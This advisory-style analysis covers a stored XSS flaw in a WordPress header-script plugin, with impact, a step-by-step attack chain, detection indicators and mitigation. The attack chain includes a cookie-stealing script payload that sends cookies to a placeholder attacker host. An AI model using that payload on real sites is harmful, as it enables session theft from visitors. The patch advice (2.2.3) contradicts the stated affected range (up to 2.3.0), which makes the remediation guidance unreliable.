CVE-2025-11453: 
WordPress vulnerability analysis and mitigation

CVE-2025-11453 is a Stored Cross-Site Scripting (XSS) vulnerability in the "Header and Footer Scripts" plugin for WordPress. It affects all versions up to and including 2.3.0 (initially disclosed as affecting up to 2.2.2, later updated to 2.3.0 on April 8, 2026) due to insufficient input sanitization and output escaping of the _inpost_head_script parameter. Authenticated attackers with Contributor-level access or above can inject arbitrary web scripts into pages that execute for any user visiting the affected page. The vulnerability was published on January 9, 2026, with a CVSS v3.1 base score of 6.4 (Medium), assigned by Wordfence (Wordfence).

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-site Scripting). The vulnerable parameter _inpost_head_script in shfs.php (line 119 in version 2.2.2) fails to properly sanitize user-supplied input before storing it and escaping it on output, allowing script injection into page headers. An attacker with at minimum Contributor-level WordPress credentials can craft a malicious post or page containing a script payload in the _inpost_head_script field, which is then persistently stored and rendered in the HTML of any page that includes the injected header script. The attack vector is network-based, requires low privileges, low complexity, and no user interaction beyond a victim visiting the affected page (Wordfence, Plugin Source).

Successful exploitation allows an attacker to persistently inject malicious JavaScript into WordPress pages, which executes in the browsers of all users who visit those pages. This can lead to session cookie theft, credential harvesting, redirection to malicious sites, defacement, or delivery of drive-by malware to site visitors. While availability is not directly impacted, both confidentiality (e.g., exfiltration of user data or session tokens) and integrity (e.g., unauthorized modification of page content) are affected, with the scope extending beyond the attacker's own session to all site visitors (Wordfence).

No public exploit code or active in-the-wild exploitation has been reported for CVE-2025-11453. The EPSS score is approximately 0.029% (0.000290), indicating a very low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires authenticated access at the Contributor level or above, which limits the attack surface compared to unauthenticated vulnerabilities (Wordfence).

1. Reconnaissance: Identify WordPress sites running the "Header and Footer Scripts" plugin at version 2.3.0 or earlier using tools like WPScan or by inspecting plugin metadata in publicly accessible readme files.
2. Obtain Contributor Access: Register or compromise a WordPress account with at least Contributor-level privileges on the target site.
3. Craft Malicious Payload: Prepare a JavaScript payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) to be injected via the _inpost_head_script parameter.
4. Inject via Post/Page Editor: Create or edit a post/page and insert the malicious script into the _inpost_head_script field (the per-post header script field provided by the plugin), then save or submit the post.
5. Trigger Execution: When any user (including administrators) visits the page containing the injected script, the payload executes in their browser, enabling session hijacking, credential theft, or further attacks (Wordfence, Plugin Source).

• Logs: WordPress access logs showing POST requests to post/page editing endpoints (e.g., /wp-admin/post.php) from Contributor-level accounts containing script tags or encoded JavaScript in the _inpost_head_script parameter.
• File System / Database: Unexpected <script> tags or JavaScript payloads stored in the WordPress wp_postmeta table under the _inpost_head_script meta key for posts or pages.
• Network: Outbound HTTP requests from site visitors' browsers to unknown external domains shortly after visiting affected pages, potentially indicating cookie or credential exfiltration.
• Behavior: Unusual activity from Contributor-level accounts, such as creating or editing pages with header script fields populated with obfuscated or encoded content.

WordPress site administrators should update the "Header and Footer Scripts" plugin to version 2.2.3 or later (the patch was introduced in changeset 3442622), which addresses the insufficient sanitization and escaping of the _inpost_head_script parameter. As a workaround prior to patching, administrators can restrict Contributor-level users from creating or editing posts that use the plugin's per-post script fields, or temporarily disable the plugin. Reviewing existing posts for unexpected script content in the _inpost_head_script meta field is also recommended (Wordfence, Plugin Changeset).

Wordfence included CVE-2025-11453 in their weekly WordPress vulnerability report for January 5–11, 2026, as part of routine disclosure coverage. No significant independent researcher commentary, vendor statements beyond the Wordfence advisory, or notable media coverage has been identified for this vulnerability (Wordfence Blog).